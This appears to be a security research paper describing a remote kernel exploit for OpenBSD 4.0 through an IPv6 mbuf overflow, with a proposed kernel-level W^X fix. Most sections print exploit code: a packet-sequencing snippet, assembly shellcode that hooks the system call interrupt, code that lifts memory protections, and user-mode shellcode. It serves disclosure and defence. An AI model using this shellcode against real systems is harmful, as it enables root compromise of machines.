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Abstract

OpenBSD is regarded as a very secure Operating System. This
article details one of the few remote exploit against this system. A
kernel shellcode is described, that disables the protections of the OS
and installs a user-mode process. Several other possible techniques of
exploitation are described.
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2 VULNERABILITY

1 Introduction

OpenBSD is a Unix-derivate Operating system, focused on security and code
correctness. It’s widely used on firewalls, intrusion-detection systems and
VPN gateways, because of the security enhancements that it implements
by default. Some of the protection technologies that OpenBSD has on the
default installation are:

• WˆX : Nothing writable is executable

• Address layout randomization

• ProPolice stack protection technology

Note that these protection schemes work only on user space applications.
The attack that this article describes is on Kernel space, so it is mostly
unaffected by all these protections 1. OpenBSD is freely available and can
be downloaded from here [2, Home page].

2 Vulnerability

OpenBSD was one of the first systems to incorporate the KAME IPv6 stack
software, supporting next-generation protocols for network communication.
Some glue logic is needed to adapt this stack to the internal networking mech-
anisms of the OS, and is in some of these functions that a buffer overflow was
found. Specifically, the function m dup1() on the file sys/kern/uipc mbuf2.c
is called every time that a specially crafted fragmented icmpv6 packet is re-
ceived by the IPv6 stack. This function miscalculates the length of the buffer
and causes an overflow when copying it.

2.1 Mbufs

Mbufs are basic blocks of memory used in chains to describe and store packets
on the BSD kernels. On OpenBSD, mbufs are 256 bytes long; Using fixed-
sized blocks of memory as buffers improve the allocation/deallocation speed
and minimize copying. The m dup1() function should duplicate a mbuf,
asking for a new mbuf and then copying in the original mbuf, but the length
is not checked as a result of the fragmentation, and the whole icmp6 packet
is copied over a single mbuf. If the fragment is longer than 256 bytes, it will
overflow the next mbuf headers with controlled data. The only useful section

1OpenBSD has kernel protections on some architectures, but not on i386
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2.2 ICMPV6 2 VULNERABILITY
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End of overflow
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Figure 1: mbuf chain overflow direction

of a mbuf to overwrite is it’s header, because inside of it there are several
structures that make it possible to exploit the system. The mbuf header
structure is shown on Listing 1. Figure 1 is shows a chain of mbufs and the
copy direction. You can also see that we overflow at least two mbuf buffers
with our attack. The ideal scenario would be to overflow only one mbuf,
because if we overflow too much, an unrecoverable kernel crash becomes very
likely to happen.

2.2 ICMPV6
ICMP is a protocol used for error reporting and network probing. It’s easy
to implement because the messages generally consist of a single IP packet.
The IPv6 incarnation is no different and we used this protocol as the attack
vector.However, it may be possible to trigger the vulnerability using other
protocols. As we said already, we fragment a common ICMPv6 echo request
packet into two fragments, one of length zero (IPv6 allows this) and one of the
total length of the ICMPv6 message. It’s important that the ICMPv6 packets
be a valid echo request message with correct checksum. Since the attack
requires that the packets be processed by the IPv6 stack invalid ICMPv6
packets will be rejected. The format of the two ICMPv6 packets is detailed
in fig. 3. We can see how the fragment fits in the mbuf chain, overwritting
three mbufs, and the trampoline (JMP ESI on the kernel) lands exactly on
the pointer to ext free(). The header of mbuf2 is specially crafted, activating

Listing 1: mbuf structure definition
f i l e : sys /kern/uipc mbuf2 . c
struct mbuf {

struct m hdr m hdr ;
union {

struct {
struct pkthdr MH pkthdr ; /∗ M PKTHDR se t ∗/
union {

struct m ext MH ext ; /∗ M EXT se t ∗/
char MH databuf [MHLEN] ;

} MH dat ;
} MH;
char M databuf [MLEN] ; /∗ !M PKTHDR, !M EXT ∗/

} M dat ;
} ;
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2.3 Overflow 2 VULNERABILITY
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Figure 2: Detail of ICMPv6 fragments

the M EXT flag, to force a call to ext free() when freed. We must also
deterministically force a free on mbuf2 and not mbuf1 or mbuf3, or the system
will crash. Empirically we found a combination of IPv6 packets that works,
even on heavy traffic conditions:

for i in range(100): # fill mbufs

self.sendpacket(firstFragment)

self.sendpacket(normalIcmp)

time.sleep(0.01)

for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable

self.sendpacket(secondFragment)

time.sleep(0.1)

self.sendpacket(firstFragment)

self.sendpacket(normalIcmp)

time.sleep(0.1)

This Python code sends fragments, combined with normal ICMPv6 packets,
manipulating the mbuf chains in a way that forces a free exactly on the mbuf
that we need. This is a section of the Original Advisory [1]

2.3 Overflow

The overflow happens when the m dup1() function calls copydata() (2)over-
writting a newly allocated mbuf with the second fragment. The important
region of memory to overflow is the header of the second buffer, mbuf2. (Our
attack requires that the next packet, mbuf3 be also overflowed, but this is
because our shellcode is too big to use only 256 bytes. A better attack would
overflow only mbuf2)
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2.4 Gaining code execution 2 VULNERABILITY

Listing 2: m dup1() overflow instruction
/kern/uipc mbuf2 . c
stat ic struct mbuf ∗
m dup1 ( struct mbuf ∗m, int o f f , int len , int wait )
{

.

.

.
i f ( copyhdr )

M DUP PKTHDR(n , m) ;
m copydata (m, o f f , len , mtod(n , caddr t ) ) ; /∗ OVERFLOW HERE ∗/
n−>m len = len ;

return (n ) ;
}

2.4 Gaining code execution

There are at least two exploit techniques that can be used on this scenario.
On the PoC2 described on this article we used the most simple and likely to
succeed, but both of them are explained.

2.4.1 4-bytes Mirrored write

Because the mbufs are on a linked list, there are a couple of pointers to
the previous and next mbuf’s. When a mbuf is freed, the pointers on the
previous and next mbuf’s are exchanged and because we control both pointers
(we stepped on them with the overflow) we can write up to 32 bits anywere
on the kernel memory. This is not much, but enough to overwrite the process
structure and scalate privileges, for example. But this technique is difficult
and a more easy solution is available using a member of the mbuf header,
because it contains directly a pointer to a function.

2.4.2 Pointer to ext free()

There is a structure in the mbuf header called m ext (1), that is used only
when there is need for external storage on the mbuf. This external storage
can be allocated on a variety of ways, but a function must be provided to
free it. As shown in Listing 3, a pointer to this function is stored directly
in the mbuf header. This function, ext free(), is called on the release of the
mbuf if the M EXT flag is set. Since we control the entire mbuf header, if
we set the M EXT flag, set the ext free() pointer and force the mbuf to be
freed, we can redirect the execution to any desired location. This location
can be anywhere in the Kernel memory space, because (this is important
), the OpenBSD kernel-space has no protections like there are in user-space

2Proof of Concept
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2.4 Gaining code execution 2 VULNERABILITY

Listing 3: m ext structure definition
/∗ de s c r i p t i o n o f ex t e rna l s to rage mapped in to mbuf , va l i d i f M EXT se t ∗/
f i l e : sys /kern/uipc mbuf2 . c
struct m ext {

caddr t ext bu f ; /∗ s t a r t o f bu f f e r ∗/
/∗ f r e e rout ine i f not the usual ∗/

void (∗ e x t f r e e ) ( caddr t , u int , void ∗ ) ;
void ∗ ex t a rg ; /∗ argument f o r e x t f r e e ∗/
u in t e x t s i z e ; /∗ s i z e o f bu f f e r , f o r e x t f r e e ∗/
int ext type ;
struct mbuf ∗ e x t n ex t r e f ;
struct mbuf ∗ e x t p r e v r e f ;

#ifde f DEBUG
const char ∗ e x t o f i l e ;
const char ∗ e x t n f i l e ;
int e x t o l i n e ;
int e x t n l i n e ;

#endif
} ;

thus allowing us to execute code anywhere, on the kernel binary, the data,
or the stack. Here the kernel is lacking kernel-space protections like PaX.
PaX( [4, PaX]) is a linux kernel patch that provides multiple protections to
user-space and also for the kernel memory. On the kernel, PAX provides
KERNEXEC (WˆX and Read-Olny memory on the kernel), Randomized
stack and UDEREF (protects kernel-user memory transfers). On the section
9 we propose a simple implementation to add this kind of protection on the
OpenBSD kernel for the i386 architecture.

2.4.3 Where to jump?

The final zone that we must arrive is our own shellcode. But there is no pre-
dictable position in kernel memory that we can place the shellcode, because
we are sending it in a network packet that is stored on a mbuf chain. To
address this problem there are a couple of possible solutions:

• Fill all the mbuf’s memory space with packets containing the shellcode
and jump approximately inside this region. Pro: The chances to land
on the shellcode are high. Cons.: A method must be found to spray
packets on the target and fill the mbuf’s memory. We couldn’t find a
reliable method to do this.

• Because of the internal parameter passing used by the c compiler, when
the ext free() function is called the position of the mbuf to free must
be placed on a register (ESI on OpenBSD 4.0) and if we jump to an
instruction ”JMP ESI” or ”CALL ESI” fixed on the kernel binary,
the execution flow will continue directly on our shellcode. Pros: Very
reliable and deterministic technique. Cons.: depends on the kernel
binary.
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4 SHELLCODE

We selected the last solution mainly because of its ease of implementation.
However, it is not the most optimal solution because it depends on the ker-
nel version. Nevertheless by choosing certain special positions in the kernel
binary this solution can work on all OpenBSD 4.0 default installations.

3 Now, what?

Great, now we can execute code in ring 0. Now what? There is not much that
we can do reliably. At this point we don’t know the kernel version or modules
that are loaded, nor where in the memory are the kernel structures. We
can’t access the file system nor the network stack. We don’t even know what
process is mapped, because we gained control of the system inside a hardware
interrupt service. But we know the position of the system call interrupt
vector. It’s on the Interrupt Descriptor Table (IDT), and the system call
number is always 0x80.

3.1 Hooking the system call

The section 6 explains in detail the procedure to hook the system call. Now
all processes are visible when they do a int 0x80. We have several options at
this point:

• Modify the system call, to add a super-user with known password.

• Modify the current process code to execute our code.

• Any other attack involving only one system call.

The reason that we have only one system call is because the calling process
surely will malfunction if we change its system calls. This may be acceptable
in some scenarios, however, a better attack would leave the system almost
unaffected. Therefore, we chose to modify the current process and manipu-
late it to execute our code. We use a somewhat complex technique in order
to fork and save this process, so it can continue essentially unchanged even
as our code is now executing.

4 ShellCode

The ShellCode only hooks the interrupt 0x80 (figure 3), ensuring that system
calls from all process pass through our code. Additionally, some data is
scavenged by scanning the kernel binary.

7



4.1 Pseudo code 4 SHELLCODE
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Hooked syscall
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return

Normal syscall

Normal System Call Hooked System Call

Figure 3: System call hook

4.1 Pseudo code

1. Find the interrupt 0x80 address

2. Find equivalent getCurrentProc() function in the kernel

3. Assemble the syscall hook in memory.

4. Patch the IDT, hooking int 0x80

5. Fix the stack and return.

4.2 Detailed description of operation

Find the interrupt address:
pusha

sub esp, byte 0x7f ;reserve some space on the stack

sidt [esp+4]

mov ebx,[esp+6]

add esp, byte 0x7f

mov edx,[ebx+0x400]

8



4.2 Detailed description of operation 4 SHELLCODE

mov ecx,[ebx+0x404]

shr ecx,0x10

shl ecx,0x10

shl edx,0x10

shr edx,0x10

or ecx,edx

We store the IDT3 on an unused position of the stack and make calcu-
lations to retrieve the 0x80 entry. At the end of this code, the position
of the int 0x80 vector is in the ECX register.

Find equivalent getCurrentProc(): Scan the kernel binary to find the
equivalent getCurrentProc() that is need in the system call hook ().

;Find ’GetCurrProc’

mov esi,ecx

and esi,0xfff00000 ; ESI--> Kernel start

xor ecx,ecx

FIND_cpu_switch:

mov eax,0x5f757063 ; "cpu_"

inc esi

cmp [esi],eax

jne FIND_cpu_switch

FIND_FF:

inc esi

cmp byte [esi],0xff

jne FIND_FF

mov edx,esi

add edx,6 ; EDX--> Start getproc code

FIND_C7:

inc esi

cmp byte [esi],0xc7

jne FIND_C7

mov ecx,esi

sub ecx,edx ;ECX --> Size getproc code

This piece of assembler receives on ECX the position of the int 0x80
vector. It then finds the start of the kernel binary by simply zeroing the

3Interrupt descriptor table
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4.2 Detailed description of operation 4 SHELLCODE

lower word of it, since that vector is at the start of the kernel. Then, it
search the binary for a specific pattern. This pattern ”cpu ” is a string
that is always4 at the start of the function ”cpu switch()”, an assembly
function that in the first instructions, loads in EDX the position of
the current process structure. The specific instructions change with
the OS version, because OpenBSD recently has gained multiprocessor
ability and the calculations to get the current running processor has
a additional level of indirection in recent kernels. Because we don’t
know the version of the kernel, or where in the kernel memory this
info is stored, we opted to copy the entire block of instructions to our
system call hook. We will need these instructions later in the system
call execution, to find out whether or not we are root. If we didn’t
have this info, we could inject a user process with no privileges but the
attack will be less valuable.

Assemble the syscall hook on memory: (This is a really simple step,
only copy the needed code into specific place-holders). Note that we
don’t use the instructions movs because we would need to modify the
ES and DS selectors to do this, and restore them later.

; Copy getproc --> SyscallHook

call GETEIP

GETEIP:

pop edi; EIP-->edi

push edi

add edi, dword 0xBC ; Offset to SyscallHook getproc()

mov esi,edx

LOOP_COPY:

lodsb

mov [edi],al

inc edi

loop LOOP_COPY

Patch the IDT: , hooking int 0x80. This is not a difficult operation, since
the base address of the ShellCode is on EDI we simply add the offset
of the syscall hook and put this value on the IDT. However, the value
cannot be written directly, since the pointer to a interruption is not in
a contiguous sector of memory.

4Since version 3.1 of OpenBSD
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5 OPENBSD WˆX INTERNALS

; Patch IDT

add edi, dword 0xb7 ;Start of SyscalHook

mov ecx,edi

mov edx,edi

shr ecx,0x10

mov [ebx+0x400],dx

mov [ebx+0x406],cx

It’s important to note that at this point, we got access to every system
call on every process. The system will slow a bit, but the hook will be
active for only a few milliseconds.

Fix the stack and return: The stack is unbalanced on this stage and a
simple RET will crash the kernel. So we fix ESP and return. The
calling function will believe that the m free() function was successful
and return happily, but the int 0x80 will be hooked by our code.

; fix esp and return

popa

add esp, byte 0x20

pop ebx

pop esi

pop edi

leave

retn

The ShellCode finalize, and the mbuf is believed to be freed. The system
call interruption has been hooked, but as we don’t have reserved any spe-
cial memory space, we are vulnerable to overwritting by some future mbuf
request. So the process injection must be fast. This is the job of the Syscall
Hook.

5 OpenBSD WˆX internals

Before explaining the ShellCode operation, a little explanation about one of
the most important security feature of OpenBSD: the WˆX feature (Nothing
writable is executable), nowadays presents on all modern Operating Systems
with help of recent features of the CPU5, was included a long time ago on

5Specifically, the NX bit
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6 SYSCALL HOOK

OpenBSD 3.3, even without any hardware support, and ran on plain i386
hardware.

Extension

Extension

User Code Segment (CS)

User Data Segment (DS)

0x00000000 0xffffffff
4 GB

512 MB

stack

.so.text stackheap.so

Figure 4: OpenBSD selector scheme and modification

Figure 4 shows how OpenBSD implements WˆX on the i386 without the
NX bit: The CS selector on the user process is only 512 MB long (Initially,
it can grow), everything above this is not executable. We can see that the
data sector extends way beyond this limit, until the kernel start address
(0xD0000000).In this region is placed the .BSS, heap, stack and all other
data considered non-executable. A more comprehensive article about this
mechanism can be found here: [3, deRaadt]. As the figure shows, if we
could extend the CS selector to overlap the heap and stack, suddenly all the
memory would become executable and the WˆX protection is defeated 6. We
actually do this, and the next section contains the explanation.

6 Syscall Hook

Now the Shellcode has been executed, and every time a int 0x80 is issued,
we take control of the system at the kernel level. But the first thing to know
is that in kernel mode, tasks like making a system call or modify process
information are non-trivial, because we are not linked against the kernel and
cannot know the positions of these functions and structures. Everything is
more easy to do as a user-mode process, so we must inject code into a user-
mode process. But not any process, but one that has root privileges, so we
must know if the process that called us is root. We could have injected all
processes with our code and surely one of them will be root, but this would

6At least temporally. See 6.3
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6.1 Pseudo code 6 SYSCALL HOOK

greatly affect the performance of the compromised server, and the recovery
from a big modification like this is difficult. The next step is to inject a user
process with root privileges into the system.

6.1 Pseudo code

1. Adjust Segment selectors DS and ES (to use movsd instructions)

2. Find curproc variable (Current process)

3. Find user Id (curproc-¿userID)

4. If procID == 0 :

(a) Find LDT7 position

(b) Extends the length of DS and CS on the LDT

(c) Modify return address of the Int 0x80 from .text to the stack of
the process

(d) Copy the user-mode ShellCode to the return position on the stack

5. Restore the original Int 0x80 vector (Remove the hook)

6. continue with the original syscall

6.2 Detailed description of operation

Adjust Segment selectors: The first step, adjust DS and ES selectors, is
trivial, and not really needed, but we can use the more comfortable
movs instruction with correct selectors:

;Selectors:

;ds,es,fs,gs : User code

;cs: Kernel

;ss: Stack, Shellcode

pusha

push ss

pop ds

push ds

pop es

7Local Descriptor Table
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6.2 Detailed description of operation 6 SYSCALL HOOK

Find curproc variable: Actually, we use part of the kernel, found and
copied by the previous ShellCode (see 4.2), to do this. The kernel
instructions corresponding to a OpenBSD Kernel, version 3.6-4.1 are:

lea ecx, ds:0D0822940h

mov esi, [ecx+80h]

On ESI is now loaded the current process structure.

Find user Id: This is a simple access to a pointer in the proc structure,
made with a couple of assembler instructions:

mov eax,[esi+0x10]

mov eax,[eax+0x4]

In EAX is now the ID of the user owner of the process that issued the
hooked system call. The location of the procID variable is always on the
same position on the proc structure, since the beginning of OpenBSD.
So this code is always valid.

”If procID == 0”: A comparison with zero:

test eax,eax

jnz END_short

jmp short We_are_ROOT

Find Local descriptor table position: The Pentium processor has the
possibility to maintain a custom descriptor table for every task.Not
all the operating systems make use of this table, but OpenBSD does.
It maintains a table of descriptors for every process, the custom de-
scriptors are stored on the proc structure and reloaded on the context
switch. The LDT position is a index on the GDT8 and to obtain this
index a special instruction is needed:

sldt ax ; Store LDT index on EAX

8Global Descriptor Table, where system-wide selectors are stored
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6.2 Detailed description of operation 6 SYSCALL HOOK

The position of the LDT is the third on the GDT, or 0x18 (defined
on sys/arch/i386/include/segments.h), because each GDT entry has 8
bytes. We opt to get through this instruction, just to be sure. Not
that we have the index of the LDT, we must find the position of of this
table on memory. This index is relative to the GDT, so now we must
load the GDT postion, and look at this index on the table:

sub esp, byte 0x7f

sgdt [esp+4] ; Store global descriptor table

mov ebx,[esp+6]

add esp, byte 0x7f

push eax ; Save local descriptor table index

mov edx,[ebx+eax]

mov ecx,[ebx+eax+0x4]

shr edx,16 ; base_low-->edx

mov eax,ecx

shl eax,24; base_middle --> edx

shr eax,8

or edx,eax

mov eax,ecx; base_high --> edx

and eax,0xff000000

or edx,eax

mov ebx,edx ;ldt--> ebx

These are a lot of calculations, because the GDT is organized on a
similar way that the IDT: The addresses are not contiguous in memory,
and must be ”assembled”. As we can see, the final instruction puts the
real LDT position on the EBX register. On this table, is the info that
we need to modify to shut down the OpenBSD protections.

Extends the length of DS and CS: As we can see on the section 5, The
method used on OpenBSD to prevent execution on the stack is to limit
the CS selector length. If we extend this selector to cover the entire
address space, from 0 to 4 GB (Like Windows NT does) We could
execute code anywere on the process. We do this with this instructions:

; Extend CS selector

15



6.2 Detailed description of operation 6 SYSCALL HOOK

or dword [ebx+0x1c],0x000f0000

; Extend DS selector

or dword [ebx+0x24],0x000f0000

The bits 16-20 are the MSB in the selector range (Again, the range is
not contiguous on the LDT entry)

Modify return address of the Int 0x80: We now can execute code on
the stack, so the next logical step is to change the return position
of the calling process (that we know is root) to the stack. We could
overwrite info on the .BSS region of the process, or even the .TEXT
region, but the process will surely terminate because we are corrupting
important sections of his memory. We as we don’t want to kill the
calling process, one of the most secure regions to overwrite with our
user-mode shellcode, is the unused portions of the stack.

;Return to stack

mov edi,[esp+8]

add edi,STACK_SAVE_LEN

mov ebx,[esp+RETURN_ADDRESS]

mov [esp+RETURN_ADDRESS],edi ; And now we return to this

Now, on EDI is the position on the stack where the current system call
will return, and we backup the actual return address in EBX.

Copy the user-mode ShellCode to the return position: As we now have
adjusted the selectors (6.2), a simple movsd instruction can be used:

push edi

push esi

add esi,0xd5 ; ***** USER_SHELLCODE offset

mov ecx,SC_LEN ; *** USER_SHELLCODE LEN (in dwords)

rep movsd

pop esi

pop edi

mov [edi+1],ebx ; Write real return address

Restore the original Int 0x80 vector: This is the inverse of the opera-
tion realized by the ShellCode, and is a little complex because of the
format of the entry on the IDT:

16



6.2 Detailed description of operation 6 SYSCALL HOOK

; --- Restore Xsyscall

sub esp, byte 0x7f

sidt [esp+4]

mov ebx,[esp+6]

add esp, byte 0x7f

mov edx,[ebx+0x400]

mov ecx,[ebx+0x404]

mov eax,[esi+0x1bf] ; EAX <-- Position of old System Call

push eax

and eax,0x0000ffff

and edx,0xffff0000

or edx,eax

mov [ebx+0x400],edx ; Fill MSB of System call address

pop eax

and eax,0xffff0000

and ecx,0x0000ffff

or ecx,eax

mov [ebx+0x404],ecx ; Fill LSB of System call address

continue with the original syscall: Finally, the selectors are fixed and a
JMP to the real system call is issued:

;fix selectors

push fs

pop ds

push fs

pop es

popa ; aef

jmp 0xFFFFFFFF

The address 0xFFFFFFFF is a placeholder for the real system call,
filled in previously by the ShellCode.

Now, the system is released from the Hook, and continues normally, except
for the calling process: This process will return to the stack, and because
the protections were lowered, the execution will continue and our user-mode
shellcode will execute normally.
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6.3 context-switch limit 7 USER SHELLCODE

6.3 context-switch limit

There is still a limit on the user-mode shellcode execution: In the next
context-switch, the LDT will be restored and the code executing on the
stack will no longer be permitted to execute. The shellcode execution flow
must exit the stack region immediately, or risk causing a SEGFAULT on the
next context-switch. Thankfully, today’s computers are fast and we have
plenty of time to fork, claim memory and exit, so this is really not a issue.

7 User ShellCode

The user-shell code seems like the final step, now we can execute any system
call as root, but there are two disadvantages:

1. The process will stop the normal operation and will start to execute
our code. This maybe is not a big problem if the injected process is a
child of the Apache web server 9, but we really are not controlling which
process are we injected into. Maybe is the init process, and killing this
process is not a good idea.

2. We have a very short time to execute before we are context-switched
and loose the ability to execute on the stack, so we must copy the
shellcode to a more secure area to continue execution.

So, the user-mode shellcode must take a series of steps before the final payload
is executed.

7.1 Pseudo code

1. Ask for a chunk of executable and writable memory (We use the MMAP
system call for this)

2. copy the rest of the shellcode and continue the execution on this region.

3. Do a FORK system call.

4. On the child: Continue the execution of the final payload.

5. On the parent process: Return to the original call.

9In tests, the most commonly injected process on OpenBSD 4.0 with default installation
was sendmail, because it periodically makes a couple of system-calls

18



7.2 Detailed description of operation 7 USER SHELLCODE

7.2 Detailed description of operation

The operation of this code is not different of any other user-mode ShellCode,
but the code it’s explained anyway, for completeness.

Ask for a chunk of executable and writable memory: This is a very
standard call to mmap system call. OpenBSD protection WˆX say that
Nothing writable is executable, but this system call provides, legally, a
region that violate this rule.

; mmap

xor eax,eax

push eax ; offset 0

push byte -1 ; fd

push ax

push word 0x1002 ; MAP_ANON | MAP_PRIVATE

push byte 7 ;PROT_READ+PROT_WRITE+PROT_EXECPR

push dword 0x1000 ; size (4096 bytes should be enough for everybody)

push eax ; address = 0

push eax ; NULL

mov al,0xc5

mov ebx,esp

int 0x80

Now, the pointer to the newly allocated executable region is on EAX.

Copy the shellcode and jump: A simple movsd and jmp to the newly
allocated block will do:

; Copy to executable region

mov edi,eax

mov ecx,SC_LEN

CALL GETEIP2

GETEIP2:

pop esi

add esi,byte 0x8

rep movsd

jmp eax

At this point, we are safe for the context switch.All OpenBSD pro-
tections will activate again but the shellcode can continue to execute
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safely for ever. But would be nice if the injected process don’t die, so
we fork.

Do a FORK system call: xor eax,eax

mov al,byte 2

int 0x80

test eax,eax

je FINAL_PAYLOAD

popf

popa

ret ; return to parent process

FINAL_PAYLOAD:

;/// Put final payload here!!

Now, the parent process has resumed execution normally, and the child
process is executing the payload, wherever it is, for ever.

8 Failed attempts

Many attempts were done before reaching this, somewhat complex steps.
The shellcode didn’t change very much, because in the moment and position
in the kernel where it’s executed, you can’t do a lot of things easily, except
to hook the Int 0x80. But in the system call hook we tried to do a couple of
things before reaching the final version, with interesting results:

• The first, the most simple, is to try to make system calls from kernel
mode. This didn’t work because of little understood reasons 10 (And
as a side note, caused a lot of trouble on vmware images).

• The second attempt, with the most curious result was this: At first, we
made the system call hook try to write directly to the .TEXT section
of the executable, directly on the point of return, with our shellcode.
This seems impossible to do, because of the memory-page protections
that OpenBSD implements on all the .TEXT region. But the Pentium
processor has a flag on CR2 (Control Register 2) accesible only on
RING-0 that disables all the page-protection mechanism, and allow the
code to write anywhere. Setting this flag, we wrote to the .TEXT of
the executable and voila! we landed on our shellcode and we were very

10OpenBSD would think that a system-call realized from within a system-call was a
Linux system call, and won’t execute it.
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9 PROPOSED PROTECTION

happy. But in a cruel twist, the ELF files on OpenBSD are memory-
mapped, so when we wrote to the .TEXT section, we really were writing
to the ELF file directly on the disk, trashing our OpenBSD installation.
That trick didn’t work.

0x00000000 0xffffffff
4 GB

ke
rn

el

0xD0000000 0xD1000000

Kernel Code Segment (CS)

Kernel Data Segment (DS)

CS shrink

mbuf chains, etc

Figure 5: OpenBSD Kernel CS selector modification

9 Proposed Protection

A possible fix to this type of vulnerability is to implement a kind of protec-
tion similar to WˆX but on the kernel-level. This is already done on some
architectures, but not in the more popular i386. A quick fix on the OpenBSD
kernel can be made, and is proposed in this section.

We can see on the listing 4, the initial bootstrap selector setup, done
on the init386() function. The interesting ones are the GCODE SEL and
the GICODE SEL, the Kernel-mode and Interrupt-mode code selector setup
repectively. We can see that these selectors are 4 GB in size each, but
we could reduce this lenght so the memory above the kernel binary is not
executable. The kernel-image starts at 0xD0000000, and is aproximately
6 MB length. We can shrink the Code selector (And the Interrupt Code
Selector too, or hardware interrupts will be unprotected) to the 0xD1000000
(see Figure 5), leaving plenty of space to the kernel to execute. As the mbufs
structures and kernel stack begins at 0xD2000000, the exploit described in
this article will not execute with this patch:

sys/arch/i386/i386/machdep.c

- setsegment(&gdt[GCODE_SEL].sd, 0, 0xfffff, SDT_MEMERA, SEL_KPL, 1, 1);

- setsegment(&gdt[GICODE_SEL].sd, 0, 0xfffff, SDT_MEMERA, SEL_KPL, 1, 1);

+ setsegment(&gdt[GCODE_SEL].sd, 0, 0xd1000, SDT_MEMERA, SEL_KPL, 1, 1);

+ setsegment(&gdt[GICODE_SEL].sd, 0, 0xd1000, SDT_MEMERA, SEL_KPL, 1, 1);
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Listing 4: bootstrap selectors setup
sys / arch / i386 / i386 /machdep . c

void
i n i t 3 8 6 ( paddr t f i r s t a v a i l )
{

.

.

.

/∗ make bootst rap gdt gate s and memory segments ∗/
setsegment(&gdt [GCODE SEL ] . sd , 0 , 0 x f f f f f , SDT MEMERA, SEL KPL , 1 , 1 ) ;
setsegment(&gdt [GICODE SEL ] . sd , 0 , 0 x f f f f f , SDT MEMERA, SEL KPL , 1 , 1 ) ;
setsegment(&gdt [GDATA SEL ] . sd , 0 , 0 x f f f f f , SDTMEMRWA, SEL KPL , 1 , 1 ) ;
setsegment(&gdt [GLDT SEL ] . sd , ldt , s izeof ( l d t ) − 1 , SDT SYSLDT,

.

.

.

}

void setsegment ( sd , base , l im i t , type , dpl , def32 , gran )
struct s egment desc r ip to r ∗ sd ;
void ∗base ;
s i z e t l im i t ;
int type , dpl , def32 , gran ;

We replace the 0xfffff limit11 with a more conservative 0xd1000. This simple
modification add some protection to kernel attacks that place the shellcode
on the kernel stack or kernel memory structures. The simplistic solution
doesn’t takes in account a lot of kernel mechanisms, like the loadable kernel
modules, that will not execute on this scenario.

10 Conclusion

Writing this ShellCode we learned that Kernel-mode programming is a very
different beast that user-mode, and even with a great debugging environment
like the provided with OpenBSD 12 unexpected things are bound to happen.

On the assembler side, we learnt to use instructions and CPU features
used only by operating system’s engineers and low-level drivers.

On the security side, we can conclude that even the most secure and
audited system contains bugs and can be exploited. It’s almost certain that
new and complex software modules like a IPv6 stack contains bugs.

Finally, this exploit wouldn’t be possible if kernel protections were in place
on OpenBSD. Against user bugs, user-mode protections are very effective,
but proved totally innocuous for kernel-mode bugs. Adding kernel-mode
protections is difficult on the i386 platform, but will be necessary on future
kernels, and more so on security-oriented products.

11The limit is in 4Kb Pages, so 0xfffff covers the 4 GB address space
12Using the DDB kernel debugger.
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REFERENCES LISTINGS

We presented a generic kernel shellcode technique, not in theory but a
real attack. And because the basic internal structures are similar between the
major operative systems, with little modificatios this kind of kernel attack
could work also on other BSDs, Linux or Windows.
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